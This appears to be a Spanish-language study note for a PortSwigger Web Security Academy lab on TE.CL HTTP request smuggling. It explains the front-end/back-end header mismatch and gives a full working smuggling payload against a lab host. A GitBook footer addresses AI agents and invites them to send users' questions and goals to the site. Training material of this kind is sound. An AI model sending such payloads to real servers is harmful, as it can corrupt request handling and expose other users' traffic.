> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/basic-te-cl-request-smuggling.md).

# Vulnerabilidad de contrabando de solicitudes HTTP TE.CL

Notas de Vulnerabilidad de contrabando de solicitudes HTTP TE.CL para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Contrabando de solicitudes HTTP, vulnerabilidad básica TE.CL

En este escenario, la aplicación utiliza un servidor frontal y un servidor interno. El **el servidor de back-end no admite codificación por fragmentos**, mientras que el **servidor front-end solo acepta GET y POST** métodos. Esta diferencia de comportamiento nos permite explotar una vulnerabilidad de tipo **TE.CL**, donde el servidor frontal interpreta la solicitud según el encabezado Transfer-Encoding, mientras que el servidor interno se basa en Content-Length.

#### **Objetivo del laboratorio**

Inyecta una solicitud en el flujo HTTP para que la siguiente **solicitud procesada por el servidor de back-end parezca usar el `GPOST`** método, lo que valida el laboratorio.

#### **Notas importantes**

* Aunque el laboratorio admite HTTP/2, la técnica esperada se basa exclusivamente en mecanismos específicos de **HTTP/1**. Por lo tanto, el protocolo debe modificarse manualmente en Burp Repeater si es necesario.
* Los campos de longitud pueden ser difíciles de manejar correctamente. La **HTTP Request Smuggler** extensión disponible en BApp Store facilita esta tarea.

#### **Ejemplo de carga útil que explota TE.CL**

En este ataque, el servidor frontal interpreta el mensaje en modo fragmentado, mientras que el servidor de back-end calcula el final de la solicitud mediante Content-Length, lo que permite introducir una segunda solicitud:

```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20

test=test
0


```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c3b2a69454110407b18b1474500d03f771acf9f%2F%7B932C65B6-9E74-474F-AAE8-2D69B1E75730%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/basic-te-cl-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
